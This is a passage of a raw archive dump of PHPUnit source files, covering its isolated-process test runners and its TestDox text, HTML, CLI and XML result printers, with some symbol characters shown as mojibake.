$coverage->cacheStaticAnalysis({codeCoverageCacheDirectory}); } $coverage->start(__FILE__); } register_shutdown_function( function() use ($coverage) { $output = null; if ($coverage) { $output = $coverage->stop(); } file_put_contents('{coverageFile}', serialize($output)); } ); ob_end_clean(); require '{job}'; res/readability/vendor/phpunit/phpunit/src/Util/PHP/DefaultPhpProcess.php000064400000013320147577714370022565 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\PHP; use function array_merge; use function fclose; use function file_put_contents; use function fread; use function fwrite; use function is_array; use function is_resource; use function proc_close; use function proc_open; use function proc_terminate; use function rewind; use function sprintf; use function stream_get_contents; use function stream_select; use function sys_get_temp_dir; use function tempnam; use function unlink; use PHPUnit\Framework\Exception; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ class DefaultPhpProcess extends AbstractPhpProcess { /** * @var string */ protected $tempFile; /** * Runs a single job (PHP code) using a separate PHP process. * * @throws Exception */ public function runJob(string $job, array $settings = []): array { if ($this->stdin || $this->useTemporaryFile()) { if (!($this->tempFile = tempnam(sys_get_temp_dir(), 'PHPUnit')) || file_put_contents($this->tempFile, $job) === false) { throw new Exception( 'Unable to write temporary file' ); } $job = $this->stdin; } return $this->runProcess($job, $settings); } /** * Returns an array of file handles to be used in place of pipes. */ protected function getHandles(): array { return []; } /** * Handles creating the child process and returning the STDOUT and STDERR. * * @throws Exception */ protected function runProcess(string $job, array $settings): array { $handles = $this->getHandles(); $env = null; if ($this->env) { $env = $_SERVER ?? []; unset($env['argv'], $env['argc']); $env = array_merge($env, $this->env); foreach ($env as $envKey => $envVar) { if (is_array($envVar)) { unset($env[$envKey]); } } } $pipeSpec = [ 0 => $handles[0] ?? ['pipe', 'r'], 1 => $handles[1] ?? ['pipe', 'w'], 2 => $handles[2] ?? ['pipe', 'w'], ]; $process = proc_open( $this->getCommand($settings, $this->tempFile), $pipeSpec, $pipes, null, $env ); if (!is_resource($process)) { throw new Exception( 'Unable to spawn worker process' ); } if ($job) { $this->process($pipes[0], $job); } fclose($pipes[0]); $stderr = $stdout = ''; if ($this->timeout) { unset($pipes[0]); while (true) { $r = $pipes; $w = null; $e = null; $n = @stream_select($r, $w, $e, $this->timeout); if ($n === false) { break; } if ($n === 0) { proc_terminate($process, 9); throw new Exception( sprintf( 'Job execution aborted after %d seconds', $this->timeout ) ); } if ($n > 0) { foreach ($r as $pipe) { $pipeOffset = 0; foreach ($pipes as $i => $origPipe) { if ($pipe === $origPipe) { $pipeOffset = $i; break; } } if (!$pipeOffset) { break; } $line = fread($pipe, 8192); if ($line === '' || $line === false) { fclose($pipes[$pipeOffset]); unset($pipes[$pipeOffset]); } elseif ($pipeOffset === 1) { $stdout .= $line; } else { $stderr .= $line; } } if (empty($pipes)) { break; } } } } else { if (isset($pipes[1])) { $stdout = stream_get_contents($pipes[1]); fclose($pipes[1]); } if (isset($pipes[2])) { $stderr = stream_get_contents($pipes[2]); fclose($pipes[2]); } } if (isset($handles[1])) { rewind($handles[1]); $stdout = stream_get_contents($handles[1]); fclose($handles[1]); } if (isset($handles[2])) { rewind($handles[2]); $stderr = stream_get_contents($handles[2]); fclose($handles[2]); } proc_close($process); $this->cleanup(); return ['stdout' => $stdout, 'stderr' => $stderr]; } /** * @param resource $pipe */ protected function process($pipe, string $job): void { fwrite($pipe, $job); } protected function cleanup(): void { if ($this->tempFile) { unlink($this->tempFile); } } protected function useTemporaryFile(): bool { return false; } } res/readability/vendor/phpunit/phpunit/src/Util/PHP/WindowsPhpProcess.php000064400000002417147577714370022640 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\PHP; use const PHP_MAJOR_VERSION; use function tmpfile; use PHPUnit\Framework\Exception; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @see https://bugs.php.net/bug.php?id=51800 */ final class WindowsPhpProcess extends DefaultPhpProcess { public function getCommand(array $settings, string $file = null): string { if (PHP_MAJOR_VERSION < 8) { return '"' . parent::getCommand($settings, $file) . '"'; } return parent::getCommand($settings, $file); } /** * @throws Exception */ protected function getHandles(): array { if (false === $stdout_handle = tmpfile()) { throw new Exception( 'A temporary file could not be created; verify that your TEMP environment variable is writable' ); } return [ 1 => $stdout_handle, ]; } protected function useTemporaryFile(): bool { return true; } } res/readability/vendor/phpunit/phpunit/src/Util/PHP/AbstractPhpProcess.php000064400000025726147577714370022761 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\PHP; use const DIRECTORY_SEPARATOR; use const PHP_SAPI; use function array_keys; use function array_merge; use function assert; use function escapeshellarg; use function ini_get_all; use function restore_error_handler; use function set_error_handler; use function sprintf; use function str_replace; use function strpos; use function strrpos; use function substr; use function trim; use function unserialize; use __PHP_Incomplete_Class; use ErrorException; use PHPUnit\Framework\AssertionFailedError; use PHPUnit\Framework\Exception; use PHPUnit\Framework\SyntheticError; use PHPUnit\Framework\Test; use PHPUnit\Framework\TestCase; use PHPUnit\Framework\TestFailure; use PHPUnit\Framework\TestResult; use SebastianBergmann\Environment\Runtime; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ abstract class AbstractPhpProcess { /** * @var Runtime */ protected $runtime; /** * @var bool */ protected $stderrRedirection = false; /** * @var string */ protected $stdin = ''; /** * @var string */ protected $args = ''; /** * @var array */ protected $env = []; /** * @var int */ protected $timeout = 0; public static function factory(): self { if (DIRECTORY_SEPARATOR === '\\') { return new WindowsPhpProcess; } return new DefaultPhpProcess; } public function __construct() { $this->runtime = new Runtime; } /** * Defines if should use STDERR redirection or not. * * Then $stderrRedirection is TRUE, STDERR is redirected to STDOUT. */ public function setUseStderrRedirection(bool $stderrRedirection): void { $this->stderrRedirection = $stderrRedirection; } /** * Returns TRUE if uses STDERR redirection or FALSE if not. */ public function useStderrRedirection(): bool { return $this->stderrRedirection; } /** * Sets the input string to be sent via STDIN. */ public function setStdin(string $stdin): void { $this->stdin = $stdin; } /** * Returns the input string to be sent via STDIN. */ public function getStdin(): string { return $this->stdin; } /** * Sets the string of arguments to pass to the php job. */ public function setArgs(string $args): void { $this->args = $args; } /** * Returns the string of arguments to pass to the php job. */ public function getArgs(): string { return $this->args; } /** * Sets the array of environment variables to start the child process with. * * @param array $env */ public function setEnv(array $env): void { $this->env = $env; } /** * Returns the array of environment variables to start the child process with. */ public function getEnv(): array { return $this->env; } /** * Sets the amount of seconds to wait before timing out. */ public function setTimeout(int $timeout): void { $this->timeout = $timeout; } /** * Returns the amount of seconds to wait before timing out. */ public function getTimeout(): int { return $this->timeout; } /** * Runs a single test in a separate PHP process. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function runTestJob(string $job, Test $test, TestResult $result): void { $result->startTest($test); $_result = $this->runJob($job); $this->processChildResult( $test, $result, $_result['stdout'], $_result['stderr'] ); } /** * Returns the command based into the configurations. */ public function getCommand(array $settings, string $file = null): string { $command = $this->runtime->getBinary(); if ($this->runtime->hasPCOV()) { $settings = array_merge( $settings, $this->runtime->getCurrentSettings( array_keys(ini_get_all('pcov')) ) ); } elseif ($this->runtime->hasXdebug()) { $settings = array_merge( $settings, $this->runtime->getCurrentSettings( array_keys(ini_get_all('xdebug')) ) ); } $command .= $this->settingsToParameters($settings); if (PHP_SAPI === 'phpdbg') { $command .= ' -qrr'; if (!$file) { $command .= 's='; } } if ($file) { $command .= ' ' . escapeshellarg($file); } if ($this->args) { if (!$file) { $command .= ' --'; } $command .= ' ' . $this->args; } if ($this->stderrRedirection) { $command .= ' 2>&1'; } return $command; } /** * Runs a single job (PHP code) using a separate PHP process. */ abstract public function runJob(string $job, array $settings = []): array; protected function settingsToParameters(array $settings): string { $buffer = ''; foreach ($settings as $setting) { $buffer .= ' -d ' . escapeshellarg($setting); } return $buffer; } /** * Processes the TestResult object from an isolated process. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ private function processChildResult(Test $test, TestResult $result, string $stdout, string $stderr): void { $time = 0; if (!empty($stderr)) { $result->addError( $test, new Exception(trim($stderr)), $time ); } else { set_error_handler( /** * @throws ErrorException */ static function ($errno, $errstr, $errfile, $errline): void { throw new ErrorException($errstr, $errno, $errno, $errfile, $errline); } ); try { if (strpos($stdout, "#!/usr/bin/env php\n") === 0) { $stdout = substr($stdout, 19); } $childResult = unserialize(str_replace("#!/usr/bin/env php\n", '', $stdout)); restore_error_handler(); if ($childResult === false) { $result->addFailure( $test, new AssertionFailedError('Test was run in child process and ended unexpectedly'), $time ); } } catch (ErrorException $e) { restore_error_handler(); $childResult = false; $result->addError( $test, new Exception(trim($stdout), 0, $e), $time ); } if ($childResult !== false) { if (!empty($childResult['output'])) { $output = $childResult['output']; } /* @var TestCase $test */ $test->setResult($childResult['testResult']); $test->addToAssertionCount($childResult['numAssertions']); $childResult = $childResult['result']; assert($childResult instanceof TestResult); if ($result->getCollectCodeCoverageInformation()) { $result->getCodeCoverage()->merge( $childResult->getCodeCoverage() ); } $time = $childResult->time(); $notImplemented = $childResult->notImplemented(); $risky = $childResult->risky(); $skipped = $childResult->skipped(); $errors = $childResult->errors(); $warnings = $childResult->warnings(); $failures = $childResult->failures(); if (!empty($notImplemented)) { $result->addError( $test, $this->getException($notImplemented[0]), $time ); } elseif (!empty($risky)) { $result->addError( $test, $this->getException($risky[0]), $time ); } elseif (!empty($skipped)) { $result->addError( $test, $this->getException($skipped[0]), $time ); } elseif (!empty($errors)) { $result->addError( $test, $this->getException($errors[0]), $time ); } elseif (!empty($warnings)) { $result->addWarning( $test, $this->getException($warnings[0]), $time ); } elseif (!empty($failures)) { $result->addFailure( $test, $this->getException($failures[0]), $time ); } } } $result->endTest($test, $time); if (!empty($output)) { print $output; } } /** * Gets the thrown exception from a PHPUnit\Framework\TestFailure. * * @see https://github.com/sebastianbergmann/phpunit/issues/74 */ private function getException(TestFailure $error): Exception { $exception = $error->thrownException(); if ($exception instanceof __PHP_Incomplete_Class) { $exceptionArray = []; foreach ((array) $exception as $key => $value) { $key = substr($key, strrpos($key, "\0") + 1); $exceptionArray[$key] = $value; } $exception = new SyntheticError( sprintf( '%s: %s', $exceptionArray['_PHP_Incomplete_Class_Name'], $exceptionArray['message'] ), $exceptionArray['code'], $exceptionArray['file'], $exceptionArray['line'], $exceptionArray['trace'] ); } return $exception; } } res/readability/vendor/phpunit/phpunit/src/Util/TestDox/TextResultPrinter.php000064400000002225147577714370023626 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\TestDox; use PHPUnit\Framework\TestResult; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TextResultPrinter extends ResultPrinter { public function printResult(TestResult $result): void { } /** * Handler for 'start class' event. */ protected function startClass(string $name): void { $this->write($this->currentTestClassPrettified . "\n"); } /** * Handler for 'on test' event. */ protected function onTest(string $name, bool $success = true): void { if ($success) { $this->write(' [x] '); } else { $this->write(' [ ] '); } $this->write($name . "\n"); } /** * Handler for 'end class' event. */ protected function endClass(string $name): void { $this->write("\n"); } } res/readability/vendor/phpunit/phpunit/src/Util/TestDox/HtmlResultPrinter.php000064400000005624147577714370023614 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\TestDox; use function sprintf; use PHPUnit\Framework\TestResult; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class HtmlResultPrinter extends ResultPrinter { /** * @var string */ private const PAGE_HEADER = <<<'EOT' Test Documentation EOT; /** * @var string */ private const CLASS_HEADER = <<<'EOT'

            %s

              EOT; /** * @var string */ private const CLASS_FOOTER = <<<'EOT'
            EOT; /** * @var string */ private const PAGE_FOOTER = <<<'EOT' EOT; public function printResult(TestResult $result): void { } /** * Handler for 'start run' event. */ protected function startRun(): void { $this->write(self::PAGE_HEADER); } /** * Handler for 'start class' event. */ protected function startClass(string $name): void { $this->write( sprintf( self::CLASS_HEADER, $name, $this->currentTestClassPrettified ) ); } /** * Handler for 'on test' event. */ protected function onTest(string $name, bool $success = true): void { $this->write( sprintf( "
          • %s %s
          • \n", $success ? '#555753' : '#ef2929', $success ? '✓' : 'âŒ', $name ) ); } /** * Handler for 'end class' event. */ protected function endClass(string $name): void { $this->write(self::CLASS_FOOTER); } /** * Handler for 'end run' event. */ protected function endRun(): void { $this->write(self::PAGE_FOOTER); } } res/readability/vendor/phpunit/phpunit/src/Util/TestDox/CliTestDoxPrinter.php000064400000026457147577714370023542 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\TestDox; use const PHP_EOL; use function array_map; use function ceil; use function count; use function explode; use function get_class; use function implode; use function preg_match; use function sprintf; use function strlen; use function strpos; use function trim; use PHPUnit\Framework\Test; use PHPUnit\Framework\TestCase; use PHPUnit\Framework\TestResult; use PHPUnit\Runner\BaseTestRunner; use PHPUnit\Runner\PhptTestCase; use PHPUnit\Util\Color; use SebastianBergmann\Timer\ResourceUsageFormatter; use SebastianBergmann\Timer\Timer; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ class CliTestDoxPrinter extends TestDoxPrinter { /** * The default Testdox left margin for messages is a vertical line. */ private const PREFIX_SIMPLE = [ 'default' => '│', 'start' => '│', 'message' => '│', 'diff' => '│', 'trace' => '│', 'last' => '│', ]; /** * Colored Testdox use box-drawing for a more textured map of the message. */ private const PREFIX_DECORATED = [ 'default' => '│', 'start' => 'â”', 'message' => '├', 'diff' => '┊', 'trace' => '╵', 'last' => 'â”´', ]; private const SPINNER_ICONS = [ " \e[36mâ—\e[0m running tests", " \e[36mâ—“\e[0m running tests", " \e[36mâ—‘\e[0m running tests", " \e[36mâ—’\e[0m running tests", ]; private const STATUS_STYLES = [ BaseTestRunner::STATUS_PASSED => [ 'symbol' => '✔', 'color' => 'fg-green', ], BaseTestRunner::STATUS_ERROR => [ 'symbol' => '✘', 'color' => 'fg-yellow', 'message' => 'bg-yellow,fg-black', ], BaseTestRunner::STATUS_FAILURE => [ 'symbol' => '✘', 'color' => 'fg-red', 'message' => 'bg-red,fg-white', ], BaseTestRunner::STATUS_SKIPPED => [ 'symbol' => '↩', 'color' => 'fg-cyan', 'message' => 'fg-cyan', ], BaseTestRunner::STATUS_RISKY => [ 'symbol' => '☢', 'color' => 'fg-yellow', 'message' => 'fg-yellow', ], BaseTestRunner::STATUS_INCOMPLETE => [ 'symbol' => '∅', 'color' => 'fg-yellow', 'message' => 'fg-yellow', ], BaseTestRunner::STATUS_WARNING => [ 'symbol' => 'âš ', 'color' => 'fg-yellow', 'message' => 'fg-yellow', ], BaseTestRunner::STATUS_UNKNOWN => [ 'symbol' => '?', 'color' => 'fg-blue', 'message' => 'fg-white,bg-blue', ], ]; /** * @var int[] */ private $nonSuccessfulTestResults = []; /** * @var Timer */ private $timer; /** * @param null|resource|string $out * @param int|string $numberOfColumns * * @throws \PHPUnit\Framework\Exception */ public function __construct($out = null, bool $verbose = false, string $colors = self::COLOR_DEFAULT, bool $debug = false, $numberOfColumns = 80, bool $reverse = false) { parent::__construct($out, $verbose, $colors, $debug, $numberOfColumns, $reverse); $this->timer = new Timer; $this->timer->start(); } public function printResult(TestResult $result): void { $this->printHeader($result); $this->printNonSuccessfulTestsSummary($result->count()); $this->printFooter($result); } protected function printHeader(TestResult $result): void { $this->write("\n" . (new ResourceUsageFormatter)->resourceUsage($this->timer->stop()) . "\n\n"); } protected function formatClassName(Test $test): string { if ($test instanceof TestCase) { return $this->prettifier->prettifyTestClass(get_class($test)); } return get_class($test); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ protected function registerTestResult(Test $test, ?Throwable $t, int $status, float $time, bool $verbose): void { if ($status !== BaseTestRunner::STATUS_PASSED) { $this->nonSuccessfulTestResults[] = $this->testIndex; } parent::registerTestResult($test, $t, $status, $time, $verbose); } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ protected function formatTestName(Test $test): string { if ($test instanceof TestCase) { return $this->prettifier->prettifyTestCase($test); } return parent::formatTestName($test); } protected function writeTestResult(array $prevResult, array $result): void { // spacer line for new suite headers and after verbose messages if ($prevResult['testName'] !== '' && (!empty($prevResult['message']) || $prevResult['className'] !== $result['className'])) { $this->write(PHP_EOL); } // suite header if ($prevResult['className'] !== $result['className']) { $this->write($this->colorizeTextBox('underlined', $result['className']) . PHP_EOL); } // test result line if ($this->colors && $result['className'] === PhptTestCase::class) { $testName = Color::colorizePath($result['testName'], $prevResult['testName'], true); } else { $testName = $result['testMethod']; } $style = self::STATUS_STYLES[$result['status']]; $line = sprintf( ' %s %s%s' . PHP_EOL, $this->colorizeTextBox($style['color'], $style['symbol']), $testName, $this->verbose ? ' ' . $this->formatRuntime($result['time'], $style['color']) : '' ); $this->write($line); // additional information when verbose $this->write($result['message']); } protected function formatThrowable(Throwable $t, ?int $status = null): string { return trim(\PHPUnit\Framework\TestFailure::exceptionToString($t)); } protected function colorizeMessageAndDiff(string $style, string $buffer): array { $lines = $buffer ? array_map('\rtrim', explode(PHP_EOL, $buffer)) : []; $message = []; $diff = []; $insideDiff = false; foreach ($lines as $line) { if ($line === '--- Expected') { $insideDiff = true; } if (!$insideDiff) { $message[] = $line; } else { if (strpos($line, '-') === 0) { $line = Color::colorize('fg-red', Color::visualizeWhitespace($line, true)); } elseif (strpos($line, '+') === 0) { $line = Color::colorize('fg-green', Color::visualizeWhitespace($line, true)); } elseif ($line === '@@ @@') { $line = Color::colorize('fg-cyan', $line); } $diff[] = $line; } } $diff = implode(PHP_EOL, $diff); if (!empty($message)) { $message = $this->colorizeTextBox($style, implode(PHP_EOL, $message)); } return [$message, $diff]; } protected function formatStacktrace(Throwable $t): string { $trace = \PHPUnit\Util\Filter::getFilteredStacktrace($t); if (!$this->colors) { return $trace; } $lines = []; $prevPath = ''; foreach (explode(PHP_EOL, $trace) as $line) { if (preg_match('/^(.*):(\d+)$/', $line, $matches)) { $lines[] = Color::colorizePath($matches[1], $prevPath) . Color::dim(':') . Color::colorize('fg-blue', $matches[2]) . "\n"; $prevPath = $matches[1]; } else { $lines[] = $line; $prevPath = ''; } } return implode('', $lines); } protected function formatTestResultMessage(Throwable $t, array $result, ?string $prefix = null): string { $message = $this->formatThrowable($t, $result['status']); $diff = ''; if (!($this->verbose || $result['verbose'])) { return ''; } if ($message && $this->colors) { $style = self::STATUS_STYLES[$result['status']]['message'] ?? ''; [$message, $diff] = $this->colorizeMessageAndDiff($style, $message); } if ($prefix === null || !$this->colors) { $prefix = self::PREFIX_SIMPLE; } if ($this->colors) { $color = self::STATUS_STYLES[$result['status']]['color'] ?? ''; $prefix = array_map(static function ($p) use ($color) { return Color::colorize($color, $p); }, self::PREFIX_DECORATED); } $trace = $this->formatStacktrace($t); $out = $this->prefixLines($prefix['start'], PHP_EOL) . PHP_EOL; if ($message) { $out .= $this->prefixLines($prefix['message'], $message . PHP_EOL) . PHP_EOL; } if ($diff) { $out .= $this->prefixLines($prefix['diff'], $diff . PHP_EOL) . PHP_EOL; } if ($trace) { if ($message || $diff) { $out .= $this->prefixLines($prefix['default'], PHP_EOL) . PHP_EOL; } $out .= $this->prefixLines($prefix['trace'], $trace . PHP_EOL) . PHP_EOL; } $out .= $this->prefixLines($prefix['last'], PHP_EOL) . PHP_EOL; return $out; } protected function drawSpinner(): void { if ($this->colors) { $id = $this->spinState % count(self::SPINNER_ICONS); $this->write(self::SPINNER_ICONS[$id]); } } protected function undrawSpinner(): void { if ($this->colors) { $id = $this->spinState % count(self::SPINNER_ICONS); $this->write("\e[1K\e[" . strlen(self::SPINNER_ICONS[$id]) . 'D'); } } private function formatRuntime(float $time, string $color = ''): string { if (!$this->colors) { return sprintf('[%.2f ms]', $time * 1000); } if ($time > 1) { $color = 'fg-magenta'; } return Color::colorize($color, ' ' . (int) ceil($time * 1000) . ' ' . Color::dim('ms')); } private function printNonSuccessfulTestsSummary(int $numberOfExecutedTests): void { if (empty($this->nonSuccessfulTestResults)) { return; } if ((count($this->nonSuccessfulTestResults) / $numberOfExecutedTests) >= 0.7) { return; } $this->write("Summary of non-successful tests:\n\n"); $prevResult = $this->getEmptyTestResult(); foreach ($this->nonSuccessfulTestResults as $testIndex) { $result = $this->testResults[$testIndex]; $this->writeTestResult($prevResult, $result); $prevResult = $result; } } } res/readability/vendor/phpunit/phpunit/src/Util/TestDox/NamePrettifier.php000064400000021512147577714370023055 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\TestDox; use function array_key_exists; use function array_keys; use function array_map; use function array_pop; use function array_values; use function explode; use function get_class; use function gettype; use function implode; use function in_array; use function is_bool; use function is_float; use function is_int; use function is_numeric; use function is_object; use function is_scalar; use function is_string; use function ord; use function preg_quote; use function preg_replace; use function range; use function sprintf; use function str_replace; use function strlen; use function strpos; use function strtolower; use function strtoupper; use function substr; use function trim; use PHPUnit\Framework\TestCase; use PHPUnit\Util\Color; use PHPUnit\Util\Exception as UtilException; use PHPUnit\Util\Test; use ReflectionException; use ReflectionMethod; use ReflectionObject; use SebastianBergmann\Exporter\Exporter; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class NamePrettifier { /** * @var string[] */ private $strings = []; /** * @var bool */ private $useColor; public function __construct(bool $useColor = false) { $this->useColor = $useColor; } /** * Prettifies the name of a test class. * * @psalm-param class-string $className */ public function prettifyTestClass(string $className): string { try { $annotations = Test::parseTestMethodAnnotations($className); if (isset($annotations['class']['testdox'][0])) { return $annotations['class']['testdox'][0]; } } catch (UtilException $e) { // ignore, determine className by parsing the provided name } $parts = explode('\\', $className); $className = array_pop($parts); if (substr($className, -1 * strlen('Test')) === 'Test') { $className = substr($className, 0, strlen($className) - strlen('Test')); } if (strpos($className, 'Tests') === 0) { $className = substr($className, strlen('Tests')); } elseif (strpos($className, 'Test') === 0) { $className = substr($className, strlen('Test')); } if (empty($className)) { $className = 'UnnamedTests'; } if (!empty($parts)) { $parts[] = $className; $fullyQualifiedName = implode('\\', $parts); } else { $fullyQualifiedName = $className; } $result = preg_replace('/(?<=[[:lower:]])(?=[[:upper:]])/u', ' ', $className); if ($fullyQualifiedName !== $className) { return $result . ' (' . $fullyQualifiedName . ')'; } return $result; } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function prettifyTestCase(TestCase $test): string { $annotations = Test::parseTestMethodAnnotations( get_class($test), $test->getName(false) ); $annotationWithPlaceholders = false; $callback = static function (string $variable): string { return sprintf('/%s(?=\b)/', preg_quote($variable, '/')); }; if (isset($annotations['method']['testdox'][0])) { $result = $annotations['method']['testdox'][0]; if (strpos($result, '$') !== false) { $annotation = $annotations['method']['testdox'][0]; $providedData = $this->mapTestMethodParameterNamesToProvidedDataValues($test); $variables = array_map($callback, array_keys($providedData)); $result = trim(preg_replace($variables, $providedData, $annotation)); $annotationWithPlaceholders = true; } } else { $result = $this->prettifyTestMethod($test->getName(false)); } if (!$annotationWithPlaceholders && $test->usesDataProvider()) { $result .= $this->prettifyDataSet($test); } return $result; } public function prettifyDataSet(TestCase $test): string { if (!$this->useColor) { return $test->getDataSetAsString(false); } if (is_int($test->dataName())) { $data = Color::dim(' with data set ') . Color::colorize('fg-cyan', (string) $test->dataName()); } else { $data = Color::dim(' with ') . Color::colorize('fg-cyan', Color::visualizeWhitespace((string) $test->dataName())); } return $data; } /** * Prettifies the name of a test method. */ public function prettifyTestMethod(string $name): string { $buffer = ''; if ($name === '') { return $buffer; } $string = (string) preg_replace('#\d+$#', '', $name, -1, $count); if (in_array($string, $this->strings, true)) { $name = $string; } elseif ($count === 0) { $this->strings[] = $string; } if (strpos($name, 'test_') === 0) { $name = substr($name, 5); } elseif (strpos($name, 'test') === 0) { $name = substr($name, 4); } if ($name === '') { return $buffer; } $name[0] = strtoupper($name[0]); if (strpos($name, '_') !== false) { return trim(str_replace('_', ' ', $name)); } $wasNumeric = false; foreach (range(0, strlen($name) - 1) as $i) { if ($i > 0 && ord($name[$i]) >= 65 && ord($name[$i]) <= 90) { $buffer .= ' ' . strtolower($name[$i]); } else { $isNumeric = is_numeric($name[$i]); if (!$wasNumeric && $isNumeric) { $buffer .= ' '; $wasNumeric = true; } if ($wasNumeric && !$isNumeric) { $wasNumeric = false; } $buffer .= $name[$i]; } } return $buffer; } /** * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ private function mapTestMethodParameterNamesToProvidedDataValues(TestCase $test): array { try { $reflector = new ReflectionMethod(get_class($test), $test->getName(false)); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new UtilException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd $providedData = []; $providedDataValues = array_values($test->getProvidedData()); $i = 0; $providedData['$_dataName'] = $test->dataName(); foreach ($reflector->getParameters() as $parameter) { if (!array_key_exists($i, $providedDataValues) && $parameter->isDefaultValueAvailable()) { try { $providedDataValues[$i] = $parameter->getDefaultValue(); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new UtilException( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } $value = $providedDataValues[$i++] ?? null; if (is_object($value)) { $reflector = new ReflectionObject($value); if ($reflector->hasMethod('__toString')) { $value = (string) $value; } else { $value = get_class($value); } } if (!is_scalar($value)) { $value = gettype($value); } if (is_bool($value) || is_int($value) || is_float($value)) { $value = (new Exporter)->export($value); } if (is_string($value) && $value === '') { if ($this->useColor) { $value = Color::colorize('dim,underlined', 'empty'); } else { $value = "''"; } } $providedData['$' . $parameter->getName()] = $value; } if ($this->useColor) { $providedData = array_map(static function ($value) { return Color::colorize('fg-cyan', Color::visualizeWhitespace((string) $value, true)); }, $providedData); } return $providedData; } } res/readability/vendor/phpunit/phpunit/src/Util/TestDox/XmlResultPrinter.php000064400000016223147577714370023445 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\TestDox; use function array_filter; use function get_class; use function implode; use function strpos; use DOMDocument; use DOMElement; use PHPUnit\Framework\AssertionFailedError; use PHPUnit\Framework\Exception; use PHPUnit\Framework\Test; use PHPUnit\Framework\TestCase; use PHPUnit\Framework\TestListener; use PHPUnit\Framework\TestSuite; use PHPUnit\Framework\Warning; use PHPUnit\Framework\WarningTestCase; use PHPUnit\Util\Printer; use PHPUnit\Util\Test as TestUtil; use ReflectionClass; use ReflectionException; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class XmlResultPrinter extends Printer implements TestListener { /** * @var DOMDocument */ private $document; /** * @var DOMElement */ private $root; /** * @var NamePrettifier */ private $prettifier; /** * @var null|Throwable */ private $exception; /** * @param resource|string $out * * @throws Exception */ public function __construct($out = null) { $this->document = new DOMDocument('1.0', 'UTF-8'); $this->document->formatOutput = true; $this->root = $this->document->createElement('tests'); $this->document->appendChild($this->root); $this->prettifier = new NamePrettifier; parent::__construct($out); } /** * Flush buffer and close output. */ public function flush(): void { $this->write($this->document->saveXML()); parent::flush(); } /** * An error occurred. */ public function addError(Test $test, Throwable $t, float $time): void { $this->exception = $t; } /** * A warning occurred. */ public function addWarning(Test $test, Warning $e, float $time): void { } /** * A failure occurred. */ public function addFailure(Test $test, AssertionFailedError $e, float $time): void { $this->exception = $e; } /** * Incomplete test. */ public function addIncompleteTest(Test $test, Throwable $t, float $time): void { } /** * Risky test. */ public function addRiskyTest(Test $test, Throwable $t, float $time): void { } /** * Skipped test. */ public function addSkippedTest(Test $test, Throwable $t, float $time): void { } /** * A test suite started. */ public function startTestSuite(TestSuite $suite): void { } /** * A test suite ended. */ public function endTestSuite(TestSuite $suite): void { } /** * A test started. */ public function startTest(Test $test): void { $this->exception = null; } /** * A test ended. * * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException */ public function endTest(Test $test, float $time): void { if (!$test instanceof TestCase || $test instanceof WarningTestCase) { return; } $groups = array_filter( $test->getGroups(), static function ($group) { return !($group === 'small' || $group === 'medium' || $group === 'large' || strpos($group, '__phpunit_') === 0); } ); $testNode = $this->document->createElement('test'); $testNode->setAttribute('className', get_class($test)); $testNode->setAttribute('methodName', $test->getName()); $testNode->setAttribute('prettifiedClassName', $this->prettifier->prettifyTestClass(get_class($test))); $testNode->setAttribute('prettifiedMethodName', $this->prettifier->prettifyTestCase($test)); $testNode->setAttribute('status', (string) $test->getStatus()); $testNode->setAttribute('time', (string) $time); $testNode->setAttribute('size', (string) $test->getSize()); $testNode->setAttribute('groups', implode(',', $groups)); foreach ($groups as $group) { $groupNode = $this->document->createElement('group'); $groupNode->setAttribute('name', $group); $testNode->appendChild($groupNode); } $annotations = TestUtil::parseTestMethodAnnotations( get_class($test), $test->getName(false) ); foreach (['class', 'method'] as $type) { foreach ($annotations[$type] as $annotation => $values) { if ($annotation !== 'covers' && $annotation !== 'uses') { continue; } foreach ($values as $value) { $coversNode = $this->document->createElement($annotation); $coversNode->setAttribute('target', $value); $testNode->appendChild($coversNode); } } } foreach ($test->doubledTypes() as $doubledType) { $testDoubleNode = $this->document->createElement('testDouble'); $testDoubleNode->setAttribute('type', $doubledType); $testNode->appendChild($testDoubleNode); } $inlineAnnotations = \PHPUnit\Util\Test::getInlineAnnotations(get_class($test), $test->getName(false)); if (isset($inlineAnnotations['given'], $inlineAnnotations['when'], $inlineAnnotations['then'])) { $testNode->setAttribute('given', $inlineAnnotations['given']['value']); $testNode->setAttribute('givenStartLine', (string) $inlineAnnotations['given']['line']); $testNode->setAttribute('when', $inlineAnnotations['when']['value']); $testNode->setAttribute('whenStartLine', (string) $inlineAnnotations['when']['line']); $testNode->setAttribute('then', $inlineAnnotations['then']['value']); $testNode->setAttribute('thenStartLine', (string) $inlineAnnotations['then']['line']); } if 